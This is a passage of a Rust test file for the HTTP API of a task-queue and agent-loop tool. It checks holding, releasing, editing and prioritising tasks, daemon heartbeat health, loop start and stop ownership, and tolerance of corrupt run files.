9052 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
9053 task_run_view(
9054 "20260902-140501-aaaa",
9055 Some(&s),
9056 RunSlot {
9057 n: 1,
9058 resumed: false,
9059 resumed_later: Some(2),
9060 prior: None,
9061 last: false,
9062 },
9063 &task,
9064 )
9065 }
9066
9067 #[test]
9068 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
9069 let v = earlier_pass_view(|_| {});
9070 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
9071 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9072 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
9073 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
9074 assert_eq!(v.exit, RunExit::Interrupted);
9075 assert_eq!(v.attempt, AttemptCost::Unknown);
9076 }
9077
9078 #[test]
9079 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
9080 let v = earlier_pass_view(|s| {
9081 s.quota.push(crate::run::QuotaLoss {
9082 seat: "judge-1".to_owned(),
9083 node: "judge".to_owned(),
9084 at: Timestamp::now(),
9085 reset: None,
9086 });
9087 });
9088 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
9089 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9090 assert_eq!(v.attempt, AttemptCost::Unknown);
9091 }
9092
9093 #[test]
9094 fn the_current_pass_states_its_recorded_cause_and_cost() {
9095 let slot = || RunSlot {
9096 n: 1,
9097 resumed: false,
9098 resumed_later: None,
9099 prior: None,
9100 last: true,
9101 };
9102 let task = flow_task(&["20260902-140501-aaaa"]);
9103 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
9104 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
9105 assert_eq!(
9106 (v.exit, v.attempt),
9107 (RunExit::Parked, AttemptCost::Refunded)
9108 );
9109 let spent = flow_run(RunStatus::Blocked, |_| {});
9110 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
9111 assert_eq!(v.attempt, AttemptCost::Spent);
9112 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
9113 }
9114
9115 #[tokio::test]
9116 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
9117 let f = Fixture::start().await;
9118 let queue = f.queue();
9119 let mut task = Task::new(
9120 "spent".to_owned(),
9121 "Try again".to_owned(),
9122 PathBuf::from("/repo/magi"),
9123 Source::Human,
9124 );
9125 task.start("20260902-140502-bbbb".to_owned());
9126 task.fail("agent gave up", 9);
9127 queue.put(&mut task).expect("file the task");
9128
9129 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9130 assert_eq!(held.status, 200);
9131 assert_eq!(held.json()["status_str"], "held");
9132
9133 let released = f
9134 .post(&format!("/api/queue/{}/release", task.id), None)
9135 .await;
9136 assert_eq!(released.status, 200);
9137 assert_eq!(released.json()["status_str"], "queued");
9138 assert_eq!(
9139 released.json()["attempts"],
9140 0,
9141 "release is a real second chance, not an instant re-hold"
9142 );
9143 assert_eq!(
9144 queue.get(&task.id).expect("reload").status,
9145 TaskStatus::Queued,
9146 "the change is on disk, not only in the reply"
9147 );
9148 assert!(
9149 !f.home
9150 .path()
9151 .join("queue")
9152 .join(format!("{}.lock", task.id))
9153 .exists(),
9154 "the claim the mutation took is released again"
9155 );
9156 }
9157
9158 #[tokio::test]
9159 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
9160 let f = Fixture::start().await;
9161 let queue = f.queue();
9162 let mut task = Task::new(
9163 "busy".to_owned(),
9164 "Running right now".to_owned(),
9165 PathBuf::from("/repo/magi"),
9166 Source::Human,
9167 );
9168 queue.put(&mut task).expect("file the task");
9169 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
9170
9171 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9172
9173 assert_eq!(res.status, 409);
9174 assert_eq!(
9175 queue.get(&task.id).expect("reload").status,
9176 TaskStatus::Queued,
9177 "the refused hold changed nothing"
9178 );
9179 }
9180
9181 #[tokio::test]
9182 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
9183 let f = Fixture::start().await;
9184 let queue = f.queue();
9185 let mut task = Task::new(
9186 "waiting on the migration".to_owned(),
9187 "Do the thing".to_owned(),
9188 PathBuf::from("/repo/magi"),
9189 Source::Human,
9190 );
9191 queue.put(&mut task).expect("file the task");
9192
9193 let held = f
9194 .post(
9195 &format!("/api/queue/{}/hold", task.id),
9196 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
9197 )
9198 .await;
9199 assert_eq!(held.status, 200, "{}", held.body);
9200 assert_eq!(held.json()["status_str"], "held");
9201 assert_eq!(
9202 held.json()["hold_reason"],
9203 "waiting for 20260101-000000-aaaa to land"
9204 );
9205
9206 let listed = f.get("/api/queue").await.json();
9207 assert_eq!(
9208 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
9209 "the card reads the reason off the same list route"
9210 );
9211
9212 let mut plain = Task::new(
9215 "no reason given".to_owned(),
9216 "Do another thing".to_owned(),
9217 PathBuf::from("/repo/magi"),
9218 Source::Human,
9219 );
9220 queue.put(&mut plain).expect("file the task");
9221 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
9222 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
9223 assert!(held_plain.json()["hold_reason"].is_null());
9224
9225 let released = f
9226 .post(&format!("/api/queue/{}/release", task.id), None)
9227 .await;
9228 assert_eq!(released.status, 200);
9229 assert!(
9230 released.json()["hold_reason"].is_null(),
9231 "a release must clear the reason so the next hold does not inherit it"
9232 );
9233 }
9234
9235 #[tokio::test]
9236 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
9237 let f = Fixture::start().await;
9238 let queue = f.queue();
9239 let mut older = Task::new(
9240 "filed first".to_owned(),
9241 "x".to_owned(),
9242 PathBuf::from("/repo/magi"),
9243 Source::Human,
9244 );
9245 older.id = "20260101-000001-aaaa".to_owned();
9246 let mut newer = Task::new(
9247 "filed second".to_owned(),
9248 "x".to_owned(),
9249 PathBuf::from("/repo/magi"),
9250 Source::Human,
9251 );
9252 newer.id = "20260101-000002-bbbb".to_owned();
9253 queue.put(&mut older).expect("file older");
9254 queue.put(&mut newer).expect("file newer");
9255
9256 let before = f.get("/api/queue").await.json();
9259 assert_eq!(before[0]["id"], newer.id);
9260 assert_eq!(before[1]["id"], older.id);
9261
9262 let raised = f
9266 .post(
9267 &format!("/api/queue/{}/priority", older.id),
9268 Some(r#"{"priority":10}"#),
9269 )
9270 .await;
9271 assert_eq!(raised.status, 200, "{}", raised.body);
9272 assert_eq!(raised.json()["priority"], 10);
9273
9274 let after = f.get("/api/queue").await.json();
9275 let names: Vec<&str> = after
9276 .as_array()
9277 .unwrap()
9278 .iter()
9279 .map(|t| t["id"].as_str().unwrap())
9280 .collect();
9281 assert_eq!(names[0], older.id, "the raised task now sorts first");
9285 }
9286
9287 #[tokio::test]
9288 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
9289 let f = Fixture::start().await;
9290 let queue = f.queue();
9291 let mut task = Task::new(
9292 "in flight".to_owned(),
9293 "x".to_owned(),
9294 PathBuf::from("/repo/magi"),
9295 Source::Human,
9296 );
9297 task.start("20260902-140502-bbbb".to_owned());
9298 queue.put(&mut task).expect("file the task");
9299
9300 let res = f
9301 .post(
9302 &format!("/api/queue/{}/priority", task.id),
9303 Some(r#"{"priority":9}"#),
9304 )
9305 .await;
9306 assert_eq!(res.status, 400, "{}", res.body);
9307 assert!(
9308 res.json()["error"]
9309 .as_str()
9310 .is_some_and(|e| e.contains("running")),
9311 "{}",
9312 res.body
9313 );
9314 assert_eq!(
9315 queue.get(&task.id).expect("reload").priority,
9316 0,
9317 "the refused write must not partially apply"
9318 );
9319 }
9320
9321 #[tokio::test]
9322 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
9323 let f = Fixture::start().await;
9324 let queue = f.queue();
9325 let mut task = Task::new(
9326 "old title".to_owned(),
9327 "old instruction".to_owned(),
9328 PathBuf::from("/repo/magi"),
9329 Source::Agent {
9330 run: "20260101-000000-beef".to_owned(),
9331 node: "implement".to_owned(),
9332 },
9333 );
9334 task.runs.push("20260101-000000-beef".to_owned());
9335 queue.put(&mut task).expect("file the task");
9336 let created_at = task.created_at;
9337
9338 let edited = f
9339 .post(
9340 &format!("/api/queue/{}/edit", task.id),
9341 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
9342 )
9343 .await;
9344 assert_eq!(edited.status, 200, "{}", edited.body);
9345 let body = edited.json();
9346 assert_eq!(body["title"], "new title");
9347 assert_eq!(body["instruction"], "new instruction");
9348 assert_eq!(body["id"], task.id, "editing must not mint a new id");
9349 assert_eq!(body["created_at"], created_at.to_string());
9350 assert_eq!(
9351 body["source"]["kind"], "agent",
9352 "editing a task an agent filed must not turn it human: {body}"
9353 );
9354 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
9355
9356 let reloaded = queue.get(&task.id).expect("reload");
9357 assert_eq!(reloaded.title, "new title");
9358 assert_eq!(reloaded.instruction, "new instruction");
9359 }
9360
9361 #[tokio::test]
9362 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
9363 let f = Fixture::start().await;
9364 let queue = f.queue();
9365 let mut owner = Task::new(
9366 "owner".to_owned(),
9367 "review it".to_owned(),
9368 PathBuf::from("/repo/magi"),
9369 Source::Human,
9370 );
9371 owner.review_branch = Some("magi/ab12/A".to_owned());
9372 queue.put(&mut owner).expect("file the owner");
9373 let mut task = Task::new(
9374 "draft".to_owned(),
9375 "old".to_owned(),
9376 PathBuf::from("/repo/magi"),
9377 Source::Human,
9378 );
9379 queue.put(&mut task).expect("file the draft");
9380 let url = format!("/api/queue/{}/edit", task.id);
9381
9382 let refused = f
9383 .post(
9384 &url,
9385 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
9386 )
9387 .await;
9388 assert_eq!(refused.status, 409, "{}", refused.body);
9389 let msg = refused.json()["error"]
9390 .as_str()
9391 .unwrap_or_default()
9392 .to_owned();
9393 assert!(
9394 msg.contains("magi/ab12/A") && msg.contains("force"),
9395 "{msg}"
9396 );
9397 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
9398
9399 let forced = f
9400 .post(
9401 &url,
9402 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
9403 )
9404 .await;
9405 assert_eq!(forced.status, 200, "{}", forced.body);
9406 }
9407
9408 #[tokio::test]
9409 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
9410 let f = Fixture::start().await;
9411 let queue = f.queue();
9412 let mut task = Task::new(
9413 "in flight".to_owned(),
9414 "do not touch".to_owned(),
9415 PathBuf::from("/repo/magi"),
9416 Source::Human,
9417 );
9418 task.start("20260902-140502-bbbb".to_owned());
9419 queue.put(&mut task).expect("file the task");
9420
9421 let res = f
9422 .post(
9423 &format!("/api/queue/{}/edit", task.id),
9424 Some(r#"{"title":"x","instruction":"y"}"#),
9425 )
9426 .await;
9427 assert_eq!(res.status, 400, "{}", res.body);
9428 assert!(
9429 res.json()["error"]
9430 .as_str()
9431 .is_some_and(|e| e.contains("running")),
9432 "{}",
9433 res.body
9434 );
9435 assert_eq!(
9436 queue.get(&task.id).expect("reload").instruction,
9437 "do not touch",
9438 "the refused edit must not change the file"
9439 );
9440 }
9441
9442 #[tokio::test]
9443 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
9444 let f = Fixture::start().await;
9445 let queue = f.queue();
9446 let mut task = Task::new(
9447 "busy".to_owned(),
9448 "Running right now".to_owned(),
9449 PathBuf::from("/repo/magi"),
9450 Source::Human,
9451 );
9452 queue.put(&mut task).expect("file the task");
9453 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
9454
9455 let priority = f
9456 .post(
9457 &format!("/api/queue/{}/priority", task.id),
9458 Some(r#"{"priority":9}"#),
9459 )
9460 .await;
9461 assert_eq!(priority.status, 409, "{}", priority.body);
9462
9463 let edit = f
9464 .post(
9465 &format!("/api/queue/{}/edit", task.id),
9466 Some(r#"{"title":"x","instruction":"y"}"#),
9467 )
9468 .await;
9469 assert_eq!(edit.status, 409, "{}", edit.body);
9470 }
9471
9472 #[tokio::test]
9473 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
9474 let f = Fixture::start().await;
9475 let queue = f.queue();
9476 let mut task = Task::new(
9477 "shipped by hand".to_owned(),
9478 "merged outside the loop".to_owned(),
9479 PathBuf::from("/repo/magi"),
9480 Source::Agent {
9481 run: "20260101-000000-b455".to_owned(),
9482 node: "implement".to_owned(),
9483 },
9484 );
9485 task.runs.push("20260101-000000-b455".to_owned());
9486 task.runs.push("20260101-000000-9af4".to_owned());
9487 queue.put(&mut task).expect("file the task");
9488 let created_at = task.created_at;
9489
9490 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9491 assert_eq!(done.status, 200, "{}", done.body);
9492 assert_eq!(done.json()["status_str"], "done");
9493
9494 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
9495 assert_eq!(
9496 reloaded.runs,
9497 ["20260101-000000-b455", "20260101-000000-9af4"]
9498 );
9499 assert_eq!(
9500 reloaded.source,
9501 Source::Agent {
9502 run: "20260101-000000-b455".to_owned(),
9503 node: "implement".to_owned(),
9504 }
9505 );
9506 assert_eq!(reloaded.created_at, created_at);
9507 }
9508
9509 #[tokio::test]
9510 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
9511 let f = Fixture::start().await;
9516 let queue = f.queue();
9517 let mut task = Task::new(
9518 "landed while held".to_owned(),
9519 "x".to_owned(),
9520 PathBuf::from("/repo/magi"),
9521 Source::Human,
9522 );
9523 task.hold_manual(Some("waiting on 3ed9".to_owned()));
9524 queue.put(&mut task).expect("file the held task");
9525
9526 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9527 assert_eq!(done.status, 200, "{}", done.body);
9528 assert_eq!(done.json()["status_str"], "done");
9529 assert!(
9530 done.json()["hold_reason"].is_null(),
9531 "a done task cannot still be waiting on something: {}",
9532 done.body
9533 );
9534 }
9535
9536 #[tokio::test]
9537 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
9538 let f = Fixture::start().await;
9543 let queue = f.queue();
9544 let runs = f.runs();
9545 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
9546 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
9550
9551 let mut task = Task::new(
9552 "landed by hand".to_owned(),
9553 "x".to_owned(),
9554 PathBuf::from("/repo/magi"),
9555 Source::Human,
9556 );
9557 task.runs.push("20260101-000000-doa1".to_owned());
9558 task.runs.push("20260101-000000-doa2".to_owned());
9559 queue.put(&mut task).expect("file the task");
9560
9561 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9562 assert_eq!(done.status, 200, "{}", done.body);
9563
9564 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
9565 .expect("run still on disk under this fixture's own home");
9566 assert_eq!(
9567 reloaded_run.status,
9568 RunStatus::Superseded,
9569 "closing the task by hand must relabel the earlier blocked attempt exactly \
9570 like the loop's own settle path does"
9571 );
9572 }
9573
9574 #[tokio::test]
9575 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
9576 let f = Fixture::start().await;
9581 let queue = f.queue();
9582 let runs = f.runs();
9583 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
9584 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
9585
9586 let mut task = Task::new(
9587 "closed with nothing actually landed".to_owned(),
9588 "x".to_owned(),
9589 PathBuf::from("/repo/magi"),
9590 Source::Human,
9591 );
9592 task.runs.push("20260101-000000-dob1".to_owned());
9593 task.runs.push("20260101-000000-dob2".to_owned());
9594 queue.put(&mut task).expect("file the task");
9595
9596 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9597 assert_eq!(done.status, 200, "{}", done.body);
9598
9599 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
9600 .expect("run still on disk under this fixture's own home");
9601 assert_eq!(
9602 reloaded_run.status,
9603 RunStatus::Blocked,
9604 "the last recorded attempt never landed, so the earlier one must not be \
9605 relabelled as superseded by it"
9606 );
9607 }
9608
9609 #[tokio::test]
9610 async fn unknown_ids_are_json_not_found_on_both_stores() {
9611 let f = Fixture::start().await;
9612
9613 let run = f.get("/api/runs/nosuchrun").await;
9614 let task = f.post("/api/queue/nosuchtask/hold", None).await;
9615
9616 assert_eq!(run.status, 404);
9617 assert_eq!(task.status, 404);
9618 assert!(
9619 run.json()["error"]
9620 .as_str()
9621 .is_some_and(|e| e.contains("run")),
9622 "the error names what was not found: {}",
9623 run.body
9624 );
9625 assert!(
9626 task.json()["error"]
9627 .as_str()
9628 .is_some_and(|e| e.contains("task")),
9629 "the error names what was not found: {}",
9630 task.body
9631 );
9632 }
9633
9634 #[tokio::test]
9635 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
9636 let f = Fixture::start().await;
9637
9638 let missing = f.get("/api/health").await.json();
9639 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
9640
9641 write_daemon(
9642 f.home.path(),
9643 Timestamp::now() - jiff::SignedDuration::from_secs(60),
9644 );
9645 let stale = f.get("/api/health").await.json();
9646 assert_eq!(
9647 stale["daemon"]["running"], false,
9648 "a minute without a heartbeat is a dead daemon, not a busy one"
9649 );
9650 assert!(
9651 stale["daemon"]["stale_for_secs"]
9652 .as_i64()
9653 .is_some_and(|s| s >= 55),
9654 "staleness is reported so the UI can say how long: {stale}"
9655 );
9656
9657 write_daemon(f.home.path(), Timestamp::now());
9658 let fresh = f.get("/api/health").await.json();
9659 assert_eq!(fresh["daemon"]["running"], true);
9660 assert_eq!(fresh["daemon"]["idle"], false);
9661 assert_eq!(fresh["daemon"]["pid"], 4242);
9662 assert_eq!(fresh["daemon"]["completed"], 7);
9663 assert_eq!(
9664 fresh["daemon"]["current"][0]["task"],
9665 "20260902-140501-aaaa"
9666 );
9667 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
9668 }
9669
9670 #[tokio::test]
9671 async fn the_loop_is_not_running_until_something_starts_it() {
9672 let f = Fixture::start().await;
9673
9674 let view = f.get("/api/loop").await.json();
9675 assert_eq!(view["running"], false);
9676 assert_eq!(
9677 view["owned"], false,
9678 "nobody owns a loop that does not exist: {view}"
9679 );
9680 assert_eq!(view["stopping"], false);
9681 assert_eq!(view["last_error"], Value::Null);
9682 assert_eq!(view["daemon"]["running"], false);
9683 assert_eq!(
9684 view["repo"], "/repo/magi",
9685 "the repository a start would use, named before it is started"
9686 );
9687 }
9688
9689 #[tokio::test]
9690 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
9691 let f = Fixture::start().await;
9692
9693 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9694 assert_eq!(res.status, 200, "{}", res.body);
9695 let view = res.json();
9696 assert_eq!(view["running"], true);
9697 assert_eq!(
9698 view["owned"], true,
9699 "the loop the UI started is the UI's own to stop: {view}"
9700 );
9701 assert_eq!(
9702 view["merge"],
9703 Value::Null,
9704 "no override was given, so each repository's own config decides"
9705 );
9706
9707 let health = f.get("/api/health").await.json();
9711 assert_eq!(health["loop"]["running"], true, "{health}");
9712 assert_eq!(health["loop"]["owned"], true, "{health}");
9713
9714 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9715 }
9716
9717 #[tokio::test]
9718 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
9719 let f = Fixture::start().await;
9720 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9721 assert_eq!(first.status, 200, "{}", first.body);
9722
9723 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9724 assert_eq!(
9725 again.status, 409,
9726 "two loops on one queue race for the same claims: {}",
9727 again.body
9728 );
9729 assert!(
9730 again.json()["error"]
9731 .as_str()
9732 .is_some_and(|e| e.contains("already running the loop")),
9733 "the refusal has to say why: {}",
9734 again.body
9735 );
9736 assert_eq!(
9737 f.get("/api/loop").await.json()["running"],
9738 true,
9739 "and the loop that was already running is untouched by it"
9740 );
9741
9742 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9743 }
9744
9745 #[tokio::test]
9746 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
9747 let f = Fixture::start().await;
9748 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9749
9750 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9751 assert_eq!(
9752 res.status, 200,
9753 "the answer must not wait for the loop: a run in flight is tens of \
9754 minutes and the operator is holding a phone: {}",
9755 res.body
9756 );
9757
9758 let view = settled(&f, |v| v["running"] == false).await;
9759 assert_eq!(view["owned"], false);
9760 assert_eq!(
9761 view["stopping"], false,
9762 "a loop that has stopped is not still stopping: {view}"
9763 );
9764 assert_eq!(
9765 view["last_error"],
9766 Value::Null,
9767 "a loop that was asked to stop did not fail: {view}"
9768 );
9769
9770 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9773 assert_eq!(twice.status, 200, "{}", twice.body);
9774 }
9775
9776 #[tokio::test]
9777 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
9778 let f = Fixture::start().await;
9779 write_daemon(f.home.path(), Timestamp::now());
9782
9783 let view = f.get("/api/loop").await.json();
9784 assert_eq!(view["running"], false, "not in this process: {view}");
9785 assert_eq!(view["owned"], false, "and not this process's to control");
9786 assert_eq!(
9787 view["daemon"]["running"], true,
9788 "but a loop is alive somewhere, which is what the UI must say"
9789 );
9790 assert_eq!(view["daemon"]["pid"], 4242);
9791
9792 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
9793 let res = f.post("/api/loop", Some(body)).await;
9794 assert_eq!(
9795 res.status, 409,
9796 "neither button may pretend to work on someone else's loop: {}",
9797 res.body
9798 );
9799 assert!(
9800 res.json()["error"]
9801 .as_str()
9802 .is_some_and(|e| e.contains("4242")),
9803 "the refusal has to name the process the operator must go to: {}",
9804 res.body
9805 );
9806 }
9807 assert_eq!(
9808 f.get("/api/loop").await.json()["running"],
9809 false,
9810 "and the refusal started nothing"
9811 );
9812 }
9813
9814 #[tokio::test]
9815 async fn a_stale_status_file_is_not_a_foreign_owner() {
9816 let f = Fixture::start().await;
9817 write_daemon(
9818 f.home.path(),
9819 Timestamp::now() - jiff::SignedDuration::from_secs(60),
9820 );
9821
9822 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9823 assert_eq!(
9824 res.status, 200,
9825 "a daemon killed a minute ago must not lock the loop out of its \
9826 own home for good: {}",
9827 res.body
9828 );
9829 assert_eq!(res.json()["running"], true);
9830
9831 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9832 }
9833
9834 #[tokio::test]
9835 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
9836 let f = Fixture::start().await;
9837 let before = f.get("/api/health").await.json()["loop_rev"]
9838 .as_u64()
9839 .expect("a loop revision");
9840
9841 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9842
9843 let after = f.get("/api/health").await.json()["loop_rev"]
9844 .as_u64()
9845 .expect("a loop revision");
9846 assert!(
9847 after > before,
9848 "the loop is in-process state, so this counter is the only thing \
9849 that tells a second device the first one started it: {before} -> \
9850 {after}"
9851 );
9852
9853 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9854 }
9855
9856 #[tokio::test]
9857 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
9858 let f = Fixture::with_loop(launch_broken).await;
9859
9860 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9861 assert_eq!(
9862 res.status, 200,
9863 "starting it is not the failure: {}",
9864 res.body
9865 );
9866
9867 let view = settled(&f, |v| v["last_error"].is_string()).await;
9868 assert_eq!(
9869 view["running"], false,
9870 "a loop that died must not read as running, or the operator has \
9871 nothing to press: {view}"
9872 );
9873 assert_eq!(view["owned"], false);
9874 assert!(
9875 view["last_error"]
9876 .as_str()
9877 .is_some_and(|e| e.contains("read-only file system")),
9878 "the phone is where a loop that died at 3am is visible: {view}"
9879 );
9880
9881 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9884 assert_eq!(again.status, 200, "{}", again.body);
9885 assert_eq!(
9886 again.json()["last_error"],
9887 Value::Null,
9888 "a fresh start does not keep showing why the last one died"
9889 );
9890 }
9891
9892 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
9904 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
9905 let home = TempDir::new().expect("temp home");
9906 let runs = home.path().join("runs");
9907 std::fs::create_dir_all(&runs).expect("runs dir");
9908 let ui = Ui::new(
9909 Queue::at(home.path().join("queue")),
9910 Questions::at(home.path().join("questions")),
9911 Talks::at(home.path().join("talks")),
9912 runs,
9913 home.path().to_path_buf(),
9914 PathBuf::from("/repo/magi"),
9915 )
9916 .with_worktrees_root(home.path().join("wt"))
9917 .with_launch(launch_knocking_on_the_way_out);
9918 let looping = ui.looping();
9919 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
9920 .await
9921 .expect("bind loopback");
9922 let addr = listener.local_addr().expect("local addr");
9923 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
9924 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
9925
9926 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
9927 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
9928
9929 let bound = std::sync::Mutex::new(None);
9944 hand_over(home.path(), &looping, served, |_| {
9945 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
9946 let attempt = loop {
9947 match std::net::TcpListener::bind(addr) {
9948 Ok(l) => {
9949 drop(l);
9950 break Ok(());
9951 }
9952 Err(e)
9953 if e.kind() == std::io::ErrorKind::AddrInUse
9954 && std::time::Instant::now() < deadline =>
9955 {
9956 std::thread::sleep(std::time::Duration::from_millis(10));
9957 }
9958 Err(e) => break Err(e.to_string()),
9959 }
9960 };
9961 *bound.lock().expect("bound") = Some(attempt);
9962 Ok(())
9963 })
9964 .await
9965 .expect("hand over");
9966
9967 assert_eq!(
9968 *PARK_HEARD.lock().expect("park heard"),
9969 Some(200),
9970 "the deck must answer while the loop is parking"
9971 );
9972 let attempt = bound
9973 .lock()
9974 .expect("bound")
9975 .take()
9976 .expect("the successor was started");
9977 assert!(
9978 attempt.is_ok(),
9979 "and the address must be free by the time it is: {attempt:?}"
9980 );
9981 }
9982
9983 #[tokio::test]
9984 async fn a_newer_daemon_status_file_still_renders() {
9985 let f = Fixture::start().await;
9986 std::fs::write(
9989 f.home.path().join("daemon.json"),
9990 serde_json::json!({
9991 "schema": 2,
9992 "updated_at": Timestamp::now().to_string(),
9993 "idle": true,
9994 "surprise": { "nested": [1, 2, 3] },
9995 })
9996 .to_string(),
9997 )
9998 .expect("write daemon.json");
9999
10000 let health = f.get("/api/health").await;
10001
10002 assert_eq!(health.status, 200);
10003 assert_eq!(health.json()["daemon"]["running"], true);
10004 }
10005
10006 #[tokio::test]
10007 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
10008 let f = Fixture::start().await;
10009 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10010 let broken = f.runs().join("20260902-140502-bad");
10011 std::fs::create_dir_all(&broken).expect("run dir");
10012 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10013
10014 let list = f.get("/api/runs").await;
10015 let detail = f.get("/api/runs/20260902-140502-bad").await;
10016
10017 assert_eq!(list.status, 200);
10018 let listed = list.json();
10019 let ids: Vec<&str> = listed
10020 .as_array()
10021 .expect("an array")
10022 .iter()
10023 .map(|r| r["id"].as_str().expect("an id"))
10024 .collect();
10025 assert_eq!(
10026 ids,
10027 vec!["20260902-140501-good"],
10028 "one unreadable run must not cost the operator the whole history"
10029 );
10030 assert_eq!(detail.status, 500);
10031 assert!(
10032 detail.json()["error"]
10033 .as_str()
10034 .is_some_and(|e| e.contains("run.json")),
10035 "the failure names the file to look at: {}",
10036 detail.body
10037 );
10038 let health = f.get("/api/health").await;
10042 assert_eq!(health.json()["runs_unreadable"], 1);
10043 }
10044
10045 #[tokio::test]
10047 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
10048 let f = Fixture::start().await;
10049 let runs = f.runs();
10050 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
10051 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
10052 let path = runs.join("20260902-140502-bbbb").join("run.json");
10055 let mut v: serde_json::Value =
10056 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
10057 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
10058 std::fs::write(&path, v.to_string()).unwrap();
10059 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
10060 std::fs::write(
10061 runs.join("20260902-140503-cccc").join("run.json"),
10062 "{ not json",
10063 )
10064 .unwrap();
10065
10066 let res = f.get("/api/search?scope=runs&q=quokka").await;
10067 assert_eq!(res.status, 200, "{}", res.body);
10068 let v = res.json();
10069 assert_eq!(v["total"], 1, "{v}");
10070 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
10071 assert_eq!(v["hits"][0]["field"], "text");
10072 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
10073 let parts = v["hits"][0]["snippet"].as_array().unwrap();
10074 assert!(
10075 parts
10076 .iter()
